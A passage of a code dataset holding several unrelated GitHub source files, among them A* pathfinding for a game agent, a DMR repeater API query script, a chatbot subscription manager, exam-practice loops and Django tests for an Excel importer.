original array coords\"\"\"\n if len(path) > 0:\n path = np.array(path, dtype=int) + np.array(lowers, dtype=int)\n return path\n\n\ndef _get_bounds(start: util.POS_TYPE, end: util.POS_TYPE, margin: int, map_shape):\n \"\"\"Get bound of reduced area map\"\"\"\n # Convert to coords array\n start, end = np.array(start), np.array(end)\n if start.shape != (2,) or end.shape != (2,):\n raise ValueError(f\"One of {start}, or {end} is not a correct position\")\n coords = np.array([start, end])\n\n # Bounds of start, end (x, y)\n mins = np.min(coords, axis=0)\n maxs = np.max(coords, axis=0)\n\n # Bounds including margin (x, y)\n lowers = [max(0, v - margin) for v in mins]\n uppers = [\n min(s - 1, v + margin) + 1 for s, v in zip(reversed(map_shape), maxs)\n ] # +1 for range\n return lowers, uppers\n\n\nclass Pather:\n \"\"\"Calculates paths and generates actions for paths, updating the current paths when actions are generated\"\"\"\n\n def __init__(\n self,\n base_costmap: np.ndarray,\n full_costmap: np.ndarray = None,\n ):\n self.base_costmap = base_costmap\n self.full_costmap = full_costmap if full_costmap is not None else base_costmap\n\n def fast_path(\n self,\n start_pos: util.POS_TYPE,\n end_pos: util.POS_TYPE,\n costmap=None,\n margin=2,\n ):\n \"\"\"Faster A* pathing by only considering a box around the start/end coord (with additional margin)\n\n If collision_params passed in, this will try to avoid collisions.\n Note: If collisions cannot be avoided, this will still return the path\n\n Good for evaluating value of positions etc\n\n Example:\n # # # # # #\n # # # # # #\n # s # # # #\n # # # e # #\n # # # # # #\n # # # # # #\n\n only searches (margin = 1)\n # # # # #\n # s # # #\n # # # e #\n # # # # #\n \"\"\"\n costmap = costmap if costmap is not None else self.full_costmap\n lowers, uppers = _get_bounds(start_pos, end_pos, margin, costmap.shape)\n sub_costmap = _get_sub_area(costmap, lowers, uppers)\n new_start, new_end = _adjust_coords(start_pos, end_pos, lowers)\n sub_path = self.slow_path(new_start, new_end, sub_costmap)\n path = _adjust_path_back(sub_path, lowers)\n return path\n\n def append_path_to_actions(\n self, unit: UnitManager, path: Union[List[Tuple[int, int]], np.ndarray]\n ) -> None:\n \"\"\"\n Turns the path into actions that are appended to unit. This is how path should ALWAYS be updated\n \"\"\"\n # TODO: Modify previous actions n if first new action is same direction (just a slight optimization)\n actions = util.path_to_actions(path)\n unit.action_queue.extend(actions)\n if len(path) > 0:\n unit.pos = path[-1]\n\n def append_direction_to_actions(self, unit: UnitManager, direction: int):\n \"\"\"Turn the direction into actions that are appended to unit\"\"\"\n path = [unit.pos, util.add_direction_to_pos(unit.pos, direction)]\n self.append_path_to_actions(unit, path)\n\n def slow_path(\n self, start_pos: Tuple[int, int], end_pos: Tuple[int, int], costmap=None\n ) -> np.ndarray:\n \"\"\"\n Find A* path from start to end (does not update anything)\n Note: self.full_costmap (or provided costmap) should be such that collisions impossible for first 1 or 2 turns\n\n Args:\n start_pos: start of path coord\n end_pos: end of path coord\n costmap: override the costmap for pathing\n\n Returns:\n array shape (len, 2) for path\n Note: If start==end path has len 1\n Note: If fails to find path, len 0\n \"\"\"\n costmap = costmap if costmap is not None else self.full_costmap\n\n # Run A* pathfinder\n finder = AStarFinder()\n costmap = costmap.T # Required for finder\n grid = Grid(matrix=costmap)\n start = grid.node(*start_pos)\n end = grid.node(*end_pos)\n path, runs = finder.find_path(start, end, grid)\n path = np.array(path, dtype=int)\n return path\n","repo_name":"TimChild/lux2022","sub_path":"agent_v2_1/new_path_finder.py","file_name":"new_path_finder.py","file_ext":"py","file_size_in_byte":5252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"34423461021","text":"import sys\r\nimport json\r\n\r\nimport requests\r\n\r\nprint(\"BM DMR Query Tool\")\r\n\r\nrepeaterid = input(\"Repeater ID \\n\")\r\n\r\napiurl = \"https://api.brandmeister.network/v1.0/repeater/?action=get&q=\" + repeaterid\r\napireq = requests.get(apiurl)\r\napidata = json.loads(apireq.text)\r\n\r\nprint(\"Static talkgroups \" + apidata['callsign'] + \"(ID: \" + repeaterid + \") :\" )\r\n\r\napiurl = \"https://api.brandmeister.network/v1.0/repeater/?action=profile&q=\" + repeaterid\r\napireq = requests.get(apiurl)\r\napidata = json.loads(apireq.text)\r\n\r\nfor i in apidata['staticSubscriptions']:\r\n print(\"Talkgroup: \" + str(i['talkgroup']) + \" Timeslot: \" + str(i['slot']) + \" Type: \" + str(i['type']) + \" Networkid: \" + str(i['networkid']) )\r\n","repo_name":"gooch12013/DMR","sub_path":"BM.py","file_name":"BM.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"43153670405","text":"import numpy as np\n\ndef one_hot(data, n_cols):\n data_onehot = np.zeros((data.shape[0], n_cols))\n data_onehot[range(data.shape[0]), data.flatten()] = 1.\n return data_onehot\n\ndef multiclass_loss(Y, Y_hat):\n L_sum = np.sum(np.multiply(Y, np.log(Y_hat)))\n m = Y.shape[0]\n L = -(1/m) * L_sum\n return L\n\n","repo_name":"rezer0dai/rezer0net","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"8150927788","text":"from ..responses import ResponseMsg\r\nfrom .argument import ArgSession\r\nfrom ..paths import PATHS\r\nfrom ..external.record_table import RecordTable, RecordNotFoundError\r\nimport os, datetime\r\n\r\n# 2021-12-11: 完成代码并进行调试\r\n# 2021-12-11: 支持多条加入,另外加入了删除机制\r\n# 2022-06-13: 支持企业微信平台\r\n\r\nSUBS_LIST = os.path.join(PATHS['data'], 'qq_subscription_list.xlsx')\r\nSUBS_LISTS = {'CQ': os.path.join(PATHS['data'], 'qq_subscription_list.xlsx'),\r\n 'WCE': os.path.join(PATHS['data'], 'wce_subscription_list.xlsx')}\r\n\r\n\r\n# 给scheduler调用,用于查找订阅列表\r\ndef get_qq_subscriptions(request, now=None):\r\n return SubscriptionRecords().get_subscriptions(request=request, now=now)\r\n\r\n\r\n# 添加新的订阅,用于AddSubscription插件和其他\r\ndef add_qq_subscription(hour, msg, user_id, minute=0, dhour=0, temp=False, no_repeat=False, get_brief=False):\r\n return SubscriptionRecords().append(hour=hour, msg=msg, user_id=user_id,\r\n minute=minute, dhour=dhour, temp=temp,\r\n no_repeat=no_repeat, get_brief=get_brief)\r\n\r\n\r\n# 同样功能,但用于企业微信平台\r\ndef get_wce_subscriptions(request, now=None):\r\n return SubscriptionRecords(platform='WCE').get_subscriptions(request=request, now=now)\r\n\r\n\r\ndef add_wce_subscription(hour, msg, user_id, minute=0, dhour=0, temp=False, no_repeat=False, get_brief=False):\r\n return SubscriptionRecords(platform='WCE').append(hour=hour, msg=msg, user_id=user_id,\r\n minute=minute, dhour=dhour, temp=temp,\r\n no_repeat=no_repeat, get_brief=get_brief)\r\n\r\n\r\nclass AddSubscriptionSession(ArgSession):\r\n def __init__(self, user_id):\r\n ArgSession.__init__(self, user_id=user_id)\r\n self.session_type = '添加订阅条目'\r\n self.description = '添加订阅条目,进行定点报时或天气预报等'\r\n self._max_delta = 60\r\n self.strict_commands = ['订阅', 'subscribe']\r\n self.add_arg(key='hour', alias_list=['-hr'],\r\n required=True, get_next=True,\r\n help_text='发送消息的时间(小时,0-23之间)',\r\n ask_text='定时任务的时间是(小时,可带小数,24时制)?')\r\n self.add_arg(key='minute', alias_list=['-min'],\r\n required=False, get_next=True,\r\n default_value=0,\r\n help_text='发送消息的时间(分钟,0-59之间)')\r\n self.add_arg(key='delta-hour', alias_list=['-dhr'],\r\n required=False, get_next=True,\r\n default_value=0,\r\n help_text='重复发送间隔(整数,默认为0,不重复)')\r\n self.add_arg(key='user_id', alias_list=['-uid'],\r\n required=False, get_next=True,\r\n default_value=user_id,\r\n help_text='接收订阅的用户ID(QQ号/企业微信ID)',\r\n ask_text='请输入接收订阅用户的ID(QQ号/企业微信ID)')\r\n self.add_arg(key='platform', alias_list=['-p'],\r\n required=False, get_next=True,\r\n default_value='CQ',\r\n help_text='订阅平台,除企业微信平台外默认为CQ(QQ),'\r\n '可变更为WCE(企业微信)')\r\n self.add_arg(key='temp', alias_list=['-t'],\r\n required=False, get_next=False,\r\n help_text='一次性订阅条目标记')\r\n self.add_arg(key='message', alias_list=['-msg'],\r\n required=True, get_next=True,\r\n help_text='订阅内容',\r\n ask_text='订阅内容(即定时发送的指令)是?')\r\n\r\n self.default_arg = [self.arg_list[0], self.arg_list[-1]]\r\n self.detail_description = '例如,发送“订阅 -hr 23 -min 30 -msg 北京疫情”,' \\\r\n '每天晚23时30分机器人会认为你给它发送了“北京疫情”指令,' \\\r\n '他就会将疫情信息发送给你。\\n' \\\r\n '进阶案例:\\n' \\\r\n '1. 订阅 -hr 20 -msg \"天气 北京市奥林匹克公园 -g -nr\"\\n' \\\r\n '2. 订阅 -hr 8 -msg \"查教室 -d 今天 -b 教一楼 -c 雁栖湖 -y\"\\n' \\\r\n '3. 订阅 -hr 8 -dhr 6 -msg \"天气 北京市 -wmap\"'\r\n\r\n def prior_handle_test(self, request):\r\n if request.platform == 'WCE':\r\n self.arg_dict['platform'].value = 'WCE'\r\n elif request.platform != 'CQ':\r\n self.arg_dict['user_id'].required = True # 其他平台变更订阅属性\r\n\r\n def internal_handle(self, request):\r\n self.deactivate()\r\n\r\n # 读取记录\r\n try:\r\n hour = float(self.arg_dict['hour'].value)\r\n minute = float(self.arg_dict['minute'].value)\r\n dhour = int(self.arg_dict['delta-hour'].value)\r\n except ValueError:\r\n return ResponseMsg(f'【{self.session_type}】输入时间格式有误')\r\n\r\n msg = self.arg_dict['message'].value\r\n user_id = str(self.arg_dict['user_id'].value) # 已经设置default value\r\n\r\n if self.arg_dict['platform'].value.upper() in ['CQ', 'QQ']:\r\n brief = add_qq_subscription(hour=hour, minute=minute, dhour=dhour,\r\n msg=msg, user_id=user_id,\r\n temp=self.arg_dict['temp'].called,\r\n get_brief=True)\r\n elif self.arg_dict['platform'].value.upper() in ['WCE']:\r\n brief = add_wce_subscription(hour=hour, minute=minute, dhour=dhour,\r\n msg=msg, user_id=user_id,\r\n temp=self.arg_dict['temp'].called,\r\n get_brief=True)\r\n else:\r\n return ResponseMsg(f'【{self.session_type}】平台参数仅支持CQ/WCE两种')\r\n\r\n return ResponseMsg(f'【{self.session_type}】订阅成功:\\n{brief}\\n'\r\n f'(添加好友后可收取通知)')\r\n\r\n\r\nclass DelSubscriptionSession(ArgSession):\r\n def __init__(self, user_id):\r\n ArgSession.__init__(self, user_id=user_id)\r\n self.session_type = '删除订阅条目'\r\n self._max_delta = 60\r\n self.strict_commands = ['删除订阅', '取消订阅', 'unsubscribe']\r\n self.add_arg(key='user_id', alias_list=['-uid'],\r\n required=False, get_next=True,\r\n default_value=user_id,\r\n help_text='对应的用户ID(QQ号/企业微信ID)')\r\n self.add_arg(key='platform', alias_list=['-p'],\r\n required=False, get_next=True,\r\n default_value='CQ',\r\n help_text='订阅平台,除企业微信平台外默认为CQ(QQ),'\r\n '可变更为WCE(企业微信)')\r\n self.default_arg = None # 没有缺省argument\r\n self.detail_description = '寻找并删除订阅条目,默认使用发送人的id'\r\n self.this_first_time = True\r\n self.record_table = None\r\n\r\n def prior_handle_test(self, request):\r\n if request.platform == 'WCE':\r\n self.arg_dict['platform'].value = 'WCE'\r\n elif request.platform != 'CQ':\r\n self.arg_dict['user_id'].required = True # 其他平台变更订阅属性\r\n\r\n def internal_handle(self, request):\r\n if self.this_first_time:\r\n self.this_first_time = False\r\n\r\n try:\r\n self.record_table = SubscriptionRecords(platform=self.arg_dict['platform'].value.upper())\r\n except KeyError:\r\n self.deactivate()\r\n return ResponseMsg(f'【{self.session_type}】平台参数仅支持CQ/WCE两种')\r\n\r\n record_list = self.record_table.find_all(user_id=self.arg_dict['user_id'].value)\r\n\r\n if len(record_list) == 0:\r\n self.deactivate()\r\n return ResponseMsg(f'【{self.session_type}】未找到条目')\r\n else:\r\n return ResponseMsg(f'【{self.session_type}】找到以下条目:\\n'\r\n f'{self.record_table.list_records(record_list=record_list)}\\n'\r\n f'请回复需要删除条目的序号(正整数),回复其他内容以取消')\r\n else: # 删除条目\r\n try:\r\n d_del = self.record_table.pop_by_index(index=request.msg)\r\n except ValueError:\r\n self.deactivate()\r\n return ResponseMsg(f'【{self.session_type}】退出')\r\n except RecordNotFoundError:\r\n self.deactivate()\r\n return ResponseMsg(f'【{self.session_type}】未找到相符记录,退出')\r\n except IndexError:\r\n self.deactivate()\r\n return ResponseMsg(f'【{self.session_type}】序号超出范围,退出')\r\n else:\r\n return ResponseMsg(f'【{self.session_type}】已删除条目:\\n'\r\n f'({d_del[\"hour\"]:02d}:{d_del[\"minute\"]:02d}) {d_del[\"message\"]}\\n'\r\n f'请回复需继续删除的条目序号')\r\n\r\n\r\nclass ListSubscriptionSession(ArgSession):\r\n def __init__(self, user_id):\r\n ArgSession.__init__(self, user_id=user_id)\r\n self.session_type = '查看订阅条目'\r\n self._max_delta = 60\r\n self.strict_commands = ['查看订阅', '订阅列表']\r\n self.add_arg(key='user_id', alias_list=['-uid'],\r\n required=False, get_next=True,\r\n default_value=user_id,\r\n help_text='对应的用户ID(QQ号/企业微信ID)')\r\n self.add_arg(key='platform', alias_list=['-p'],\r\n required=False, get_next=True,\r\n default_value='CQ',\r\n help_text='订阅平台,除企业微信平台外默认为CQ(QQ),'\r\n '可变更为WCE(企业微信)')\r\n self.default_arg = None # 没有缺省argument\r\n self.detail_description = '寻找并删除订阅条目,默认使用发送人的id'\r\n self.record_table = None\r\n\r\n def prior_handle_test(self, request):\r\n if request.platform == 'WCE':\r\n self.arg_dict['platform'].value = 'WCE'\r\n elif request.platform != 'CQ':\r\n self.arg_dict['user_id'].required = True # 其他平台变更订阅属性\r\n\r\n def internal_handle(self, request):\r\n self.deactivate()\r\n\r\n try:\r\n self.record_table = SubscriptionRecords(platform=self.arg_dict['platform'].value.upper())\r\n except KeyError:\r\n return ResponseMsg(f'【{self.session_type}】平台参数仅支持CQ/WCE两种')\r\n\r\n record_list = self.record_table.find_all(user_id=self.arg_dict['user_id'].value)\r\n\r\n if len(record_list) == 0:\r\n return ResponseMsg(f'【{self.session_type}】未找到条目')\r\n else:\r\n return ResponseMsg(f'【{self.session_type}】找到以下条目:\\n'\r\n f'{self.record_table.list_records(record_list=record_list)}')\r\n\r\n\r\nclass SubscriptionRecords(RecordTable):\r\n def __init__(self, platform='CQ'):\r\n if platform == 'QQ':\r\n platform = 'CQ'\r\n RecordTable.__init__(self, table_file=SUBS_LISTS[platform], string_cols=['user_id'])\r\n\r\n @staticmethod\r\n def list_single_record(record) -> str:\r\n msg = ''\r\n msg += f'({record[\"hour\"]:02d}:{record[\"minute\"]:02d}'\r\n if record['temp']:\r\n msg += ' | temp'\r\n msg += f') {record[\"message\"]}'\r\n return msg\r\n\r\n def _append_no_repeat(self, record_list):\r\n for i in record_list:\r\n if i not in self.get_dfl(): # 每次都要检查\r\n self.append_full(i)\r\n\r\n def append(self, hour, msg, user_id, minute=0, dhour=0, temp=False, no_repeat=False, get_brief=False):\r\n # 整理、检测合法性\r\n minute = float(minute) + float(hour) * 60 # 全部加到分钟上\r\n minute = int(minute) # 向下取整\r\n hour = minute // 60\r\n minute %= 60\r\n hour %= 24\r\n dhour = int(dhour)\r\n user_id = str(user_id)\r\n\r\n if temp:\r\n temp_flag = 1\r\n else:\r\n temp_flag = 0\r\n\r\n new_records = []\r\n\r\n if dhour > 0: # 重复,往后\r\n for h in range(hour, 24, dhour):\r\n new_records.append({'hour': h, 'minute': minute, 'user_id': user_id, 'temp': temp_flag, 'message': msg})\r\n elif dhour < 0: # 重复,往回\r\n for h in range(hour, -1, dhour):\r\n new_records.append({'hour': h, 'minute': minute, 'user_id': user_id, 'temp': temp_flag, 'message': msg})\r\n else: # 不重复\r\n new_records.append({'hour': hour, 'minute': minute, 'user_id': user_id, 'temp': temp_flag, 'message': msg})\r\n\r\n if no_repeat:\r\n self._append_no_repeat(record_list=new_records)\r\n else:\r\n for i in new_records:\r\n self.append_full(item=i)\r\n\r\n if get_brief:\r\n return f'{hour:02d}:{minute:02d} - {user_id}\\n{msg}'\r\n\r\n def get_subscriptions(self, request, now=None):\r\n # 如果订阅列表不存在\r\n if not self.is_exist():\r\n return []\r\n\r\n request_list = [] # 转化成的request\r\n expire_list = [] # 过期的临时项目\r\n if now is None:\r\n now = datetime.datetime.now()\r\n\r\n for i in self.get_dfl():\r\n if int(i['hour']) == now.hour and int(i['minute'] == now.minute):\r\n new_r = request.new(msg=i['message'])\r\n new_r.user_id = str(i['user_id'])\r\n request_list.append(new_r)\r\n if i['temp'] == 1: # 临时项目\r\n expire_list.append(i)\r\n\r\n # 去除过期项目(temp项)\r\n for i in expire_list:\r\n try:\r\n self.delete(record=i, from_new=False)\r\n except RecordNotFoundError:\r\n pass\r\n\r\n return request_list\r\n","repo_name":"lizard1998myx/MultiBot","sub_path":"sessions/subscription.py","file_name":"subscription.py","file_ext":"py","file_size_in_byte":14595,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"7"} +{"seq_id":"40784345364","text":"# 6 задание из егэ, по сути осталось таким же, то есть нужно копировать код и менять его\r\n# но еще не утвердили изменения, поэтому может быть, что 6 задание будем другим!\r\n'''\r\nОпределите наибольшее значение переменной s, при вводе которого программа выведет число 140.\r\n'''\r\n##for i in range(1,2000):\r\n## s = i\r\n## s = s // 5\r\n## n = 8\r\n## while s < 156:\r\n## if ((s + n) % 3 == 0):\r\n## s = s + 6\r\n## n = n + 11\r\n## if n == 140:\r\n## print(i)\r\n \r\n#6\r\n'''\r\nОпределите, при каком введённом значении переменной s программа выведет число16.\r\n'''\r\n##for i in range(10000):\r\n## s = i\r\n## n = 0\r\n## while s * s < 101:\r\n## s = s + 1\r\n## n = n + 2\r\n## if n == 16 :\r\n## print(i)\r\n## #break\r\n##\r\n\r\n'''\r\nКакое максимальное значение переменной s, подаваемого на вход программе, для которого в результате работы программы на экран будет выведено значение 46?\r\n'''\r\n##for i in range(10000):\r\n## n = 1\r\n## s = i\r\n## while s > 200:\r\n## s = s - 15\r\n## n = n + 3\r\n## if n == 46:\r\n## print(i)\r\n\r\n'''\r\nПри каком наибольшем введенном числе d после выполнения программы будет напечатано 150?\r\n'''\r\n##for i in range(1,10000):\r\n## d = i\r\n## n = 3\r\n## s = 38\r\n## while s <= 1200:\r\n## s = s + d\r\n## n = n + 7\r\n## if n == 150:\r\n## print(i)\r\n\r\n'''\r\nОпределите, при каком наименьшем введённом значении переменной s программа выведет число\r\n128\r\n'''\r\n##for i in range(1,10000):\r\n## s = i\r\n## n = 4\r\n## while s < 37:\r\n## s = s + 3\r\n## n = n * 2\r\n## if n == 128:\r\n## print(i)\r\n## break\r\n\r\n'''\r\n(Е. Джобс) Сколько существует положительных чисел, подаваемых на вход программе, при\r\nкоторых программа в результате своей работы выведет на экран одно положительное число?\r\n'''\r\n##for i in range(1000):\r\n## d = i\r\n## n = 20\r\n## s = 40\r\n## while s + n < d:\r\n## s = s - 10\r\n## n = n - 20\r\n## if d > 0:\r\n## print(i) #60\r\n\r\n'''\r\nОпределите, при каком наименьшем введённом значении переменной s программа выведет число\r\n128.\r\r\n'''\r\n##for i in range(1000):\r\n## s = i\r\n## n = 2\r\n## while s < 37:\r\n## s = s + 3\r\n## n = n * 2\r\n## if n == 128:\r\n## print(i)\r\n## break\r\n\r\n'''\r\nСколько существует значений переменной s, при вводе которых программа выведет число 118.\r\n'''\r\nfor i in range(1,10000):\r\n s = i\r\n s = s // 15\r\n n = 14\r\n while s < 285:\r\n if (s + n) % 9 == 0:\r\n s = s + 11\r\n n = n + 13\r\n if n == 118:\r\n print(i)\r\n","repo_name":"NikitaR041/Informatics_EGE","sub_path":"ege6/Старый тип/6 ege - старый тип.py","file_name":"6 ege - старый тип.py","file_ext":"py","file_size_in_byte":3428,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"71894540063","text":"import os\nimport unittest\nfrom tempfile import NamedTemporaryFile\nfrom django.test import TestCase\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom ford3.smart_excel.smart_excel import SmartExcel\nfrom ford3.smart_excel.definition import OPENEDU_EXCEL_DEFINITION\nfrom ford3.smart_excel.data_model import OpenEduSmartExcelData\nfrom ford3.views import provider as providerView\nfrom ford3.tests.models.model_factories import ModelFactories\nfrom ford3.models import (\n QualificationEntranceRequirementSubject,\n Interest,\n Subject,\n Occupation\n)\nfrom ford3.excel_importer import (\n update_qualification\n)\n\nDUMMY_DEFINITION = [\n {\n 'func': 'add_group_column',\n 'kwargs': {\n 'columns': [\n {\n 'name': 'NAME',\n 'key': 'name',\n 'validations': {\n 'excel': {\n 'validate': 'length',\n 'criteria': '>=',\n 'value': 0,\n 'input_title': 'Your name:'\n }\n }\n },\n {\n 'name': 'AGE',\n 'key': 'age',\n 'validations': {\n 'list_source_func': 'get_age_list'\n }\n },\n {\n 'name': 'CITY OF BIRTH',\n 'key': 'city',\n 'validations': {\n 'list_source_func': 'get_city_list'\n }\n }\n ]\n }\n }\n]\n\n\nclass Dummy():\n def __init__(self, data):\n self.name = data['name']\n self.age = data['age']\n self.city = data['city']\n\n\nclass DummyData():\n def __init__(self):\n self.results = [\n Dummy({\n 'name': 'PA',\n 'age': 29,\n 'city': 'Paris'\n }),\n Dummy({\n 'name': 'Cairo',\n 'age': 0,\n 'city': 'Muizenberg'\n }),\n Dummy({\n 'name': 'Carina',\n 'age': 26,\n 'city': 'Windhoek'\n })\n ]\n\n\n def write_name(self, instance, kwargs={}):\n return instance.name\n\n def write_age(self, instance, kwargs={}):\n return instance.age\n\n def write_city(self, instance, kwargs={}):\n return instance.city\n\n def get_age_list(self):\n return [i for i in range(0, 99)]\n\n def get_city_list(self):\n return [\n 'Paris',\n 'Muizenberg',\n 'Windhoek',\n 'Saint-Dizier'\n ]\n\n def write_get_repeat_func(self):\n return len(self.results)\n\n def write_get_name_func(self, instance, kwargs={}):\n return self.results[kwargs['index']].name\n\n\nclass TestSmartExcelDump(unittest.TestCase):\n def setUp(self):\n self.definition = DUMMY_DEFINITION\n self.data = DummyData()\n self.filepath = 'hello.xlsx'\n # /tmp/dummy_test.xlsx'\n\n if os.path.exists(self.filepath):\n os.remove(self.filepath)\n\n\n def runTest(self):\n self.assertFalse(os.path.exists(self.filepath))\n excel = SmartExcel(\n definition=self.definition,\n data=self.data,\n output=self.filepath\n )\n excel.dump()\n self.assertTrue(os.path.exists(self.filepath))\n self.assertTrue(excel.WRITEMODE)\n\n\nclass TestSmartExcelParse(unittest.TestCase):\n def setUp(self):\n self.definition = DUMMY_DEFINITION\n self.data = DummyData()\n self.filepath = '/tmp/dummy_test.xlsx'\n\n if os.path.exists(self.filepath):\n os.remove(self.filepath)\n\n SmartExcel(\n definition=self.definition,\n data=self.data,\n output=self.filepath\n ).dump()\n\n def test_parse(self):\n excel = SmartExcel(\n definition=self.definition,\n data=self.data,\n path=self.filepath\n )\n data = excel.parse()\n\n self.assertEqual(data, [\n {'name': 'PA', 'age': 29, 'city': 'Paris'},\n {'name': 'Cairo', 'age': 0, 'city': 'Muizenberg'},\n {'name': 'Carina', 'age': 26, 'city': 'Windhoek'}])\n\n\nclass TestSmartExcelParseProviderSheet(TestCase):\n fixtures = ['subject', 'occupation', 'interest', 'people_groups']\n\n def setUp(self):\n self.campus = ModelFactories.get_campus_test_object()\n self.provider = self.campus.provider\n\n self.requirement_subject = ModelFactories.get_qualification_entrance_requirement_to() # noqa\n self.qualification = self.requirement_subject.qualification\n\n self.qualification.campus = self.campus\n self.qualification.provider = self.provider\n self.qualification.save()\n\n output_data = providerView.excel_dump(self.provider.id)\n named_tempfile = NamedTemporaryFile(suffix='.xlsx')\n\n with open(named_tempfile.name, 'wb') as file:\n file.write(output_data)\n\n excel = SmartExcel(\n definition=OPENEDU_EXCEL_DEFINITION,\n data=OpenEduSmartExcelData(\n provider_id=self.provider.id\n ),\n path=named_tempfile.name\n )\n # provider.dump(None, provider.id)\n self.data = excel.parse()\n\n def test_total_cost(self):\n row = self.data[0]\n row['qualification__total_cost'] = 42\n\n success, diffs, _ = update_qualification(row)\n\n self.assertTrue(success)\n self.assertEqual(\n diffs['qualification__total_cost'],\n {\n 'name': 'total_cost',\n 'old': 'R 100000',\n 'new': 'R 42'\n })\n\n\n def test_add_subject(self):\n entrance_req_id = self.qualification.entrance_req_subjects_list[0]['id'] # noqa\n QualificationEntranceRequirementSubject.objects.get(\n pk=entrance_req_id).delete()\n try:\n QualificationEntranceRequirementSubject.objects.get(\n pk=entrance_req_id)\n\n self.fail('Object not deleted correctly')\n except ObjectDoesNotExist:\n pass\n\n subject_1 = Subject.objects.get(name='English')\n subject_2 = Subject.objects.get(name='Afrikaans')\n\n row = {\n 'qualification__id': self.data[0]['qualification__id'],\n 'qualification_entrance_requirement_subject__subject': f'{subject_1.name} ({subject_1.id})', # noqa\n 'qualification_entrance_requirement_subject__minimum_score': '42',\n 'qualification_entrance_requirement_subject__subject--1': f'{subject_2.name} ({subject_2.id})', # noqa\n 'qualification_entrance_requirement_subject__minimum_score--1': '42', # noqa\n 'qualification_entrance_requirement_subject__subject--2': None,\n 'qualification_entrance_requirement_subject__minimum_score--2': None, # noqa\n 'qualification_entrance_requirement_subject__subject--3': None,\n 'qualification_entrance_requirement_subject__minimum_score--3': None, # noqa\n 'qualification_entrance_requirement_subject__subject--4': None,\n 'qualification_entrance_requirement_subject__minimum_score--4': None, # noqa\n 'qualification_entrance_requirement_subject__subject--5': None,\n 'qualification_entrance_requirement_subject__minimum_score--5': None, # noqa\n }\n\n success, diffs, _ = update_qualification(row)\n\n self.assertTrue(success)\n self.assertEqual(\n diffs['qualification_entrance_requirement_subject__subject'],\n {\n 'old': None,\n 'new': f'English ({subject_1.id})'\n }\n )\n self.assertEqual(\n diffs['qualification_entrance_requirement_subject__minimum_score'],\n {\n 'old': None,\n 'new': '42'\n }\n )\n\n self.assertEqual(\n diffs['qualification_entrance_requirement_subject__subject--1'],\n {\n 'old': None,\n 'new': f'Afrikaans ({subject_2.id})'\n }\n )\n self.assertEqual(\n diffs['qualification_entrance_requirement_subject__minimum_score--1'], # noqa\n {\n 'old': None,\n 'new': '42'\n }\n )\n\n qualification_entrance_subject_1 = self.qualification.entrance_req_subjects_list[0] # noqa\n\n self.assertEqual(qualification_entrance_subject_1['name'], subject_1.name) # noqa\n self.assertEqual(qualification_entrance_subject_1['minimum_score'], 42)\n\n qualification_entrance_subject_2 = self.qualification.entrance_req_subjects_list[1] # noqa\n\n self.assertEqual(qualification_entrance_subject_2['name'], subject_2.name) # noqa\n self.assertEqual(qualification_entrance_subject_2['minimum_score'], 42)\n\n def test_add_interest(self):\n # original_interest = self.qualification.interests.all()[0]\n int_1 = Interest.objects.get(name='Health')\n self.assertEqual(len(self.qualification.interests.all()), 1)\n self.qualification.interests.clear()\n self.assertEqual(len(self.qualification.interests.all()), 0)\n\n row = {\n 'qualification__id': self.data[0]['qualification__id'],\n 'interest__name': int_1.name,\n 'interest__name--1': None,\n 'interest__name--2': None,\n }\n\n success, diffs, _ = update_qualification(row)\n\n self.assertTrue(success)\n self.assertEqual(diffs['interest__name'], {\n 'old': None,\n 'new': int_1.name\n })\n\n\n interest = self.qualification.interests.all()[0]\n self.assertEqual(interest.id, int_1.id)\n\n def test_add_occupation(self):\n # todo: change that test, similar to interest\n # original_occupation = self.qualification.occupations.all()[0]\n occ_1 = Occupation.objects.get(name='Abrasive Wheel Maker')\n self.assertEqual(len(self.qualification.occupations.all()), 1)\n self.qualification.occupations.clear()\n self.assertEqual(len(self.qualification.occupations.all()), 0)\n\n row = {\n 'qualification__id': self.data[0]['qualification__id'],\n 'occupation__name': occ_1.name,\n 'occupation__name--1': 'prout',\n 'occupation__name--2': None,\n 'occupation__name--3': None,\n 'occupation__name--4': None\n }\n\n success, diffs, _ = update_qualification(row)\n self.assertTrue(success)\n\n self.assertEqual(diffs['occupation__name'], {\n 'new': 'Abrasive Wheel Maker',\n 'old': None\n })\n\n occupation = self.qualification.occupations.all()[0]\n self.assertEqual(occupation.id, occ_1.id)\n\n def test_update_aps(self):\n row = {\n 'qualification__id': self.data[0]['qualification__id'],\n 'admission_point_score__value': 0,\n 'admission_point_score__value--1': 2,\n }\n\n success, diffs, _ = update_qualification(row)\n\n self.assertEqual(\n diffs['admission_point_score__value'],\n {\n 'old': None,\n 'new': 0\n }\n )\n\n self.assertEqual(\n diffs['admission_point_score__value--1'],\n {\n 'old': None,\n 'new': 2\n }\n )\n\n self.assertEqual(\n self.qualification.requirement.admission_point_scores[0]['value'],\n 0)\n\n self.assertEqual(\n self.qualification.requirement.admission_point_scores[1]['value'],\n 2)\n","repo_name":"kartoza/ford3","sub_path":"django_project/ford3/smart_excel/test_smart_excel.py","file_name":"test_smart_excel.py","file_ext":"py","file_size_in_byte":11807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72900839262","text":"\"\"\"\nhttps://leetcode.com/problems/split-two-strings-to-make-palindrome/\n\"\"\"\n\n\nclass Solution:\n def checkPalindromeFormation(self, a: str, b: str) -> bool:\n def is_palindrome(s: str, start: int, end: int) -> bool:\n while start < end and s[start] == s[end]:\n start += 1\n end -= 1\n\n return start >= end\n\n def combine(a: str, b: str) -> bool:\n l, r = 0, len(a) - 1\n while l < r and a[l] == b[r]:\n l += 1\n r -= 1\n\n return l >= r or is_palindrome(a, l, r) or is_palindrome(b, l, r)\n\n return combine(a, b) or combine(b, a)\n\n\nprint(Solution().checkPalindromeFormation(\"pvhmupgqeltozftlmfjjde\",\n 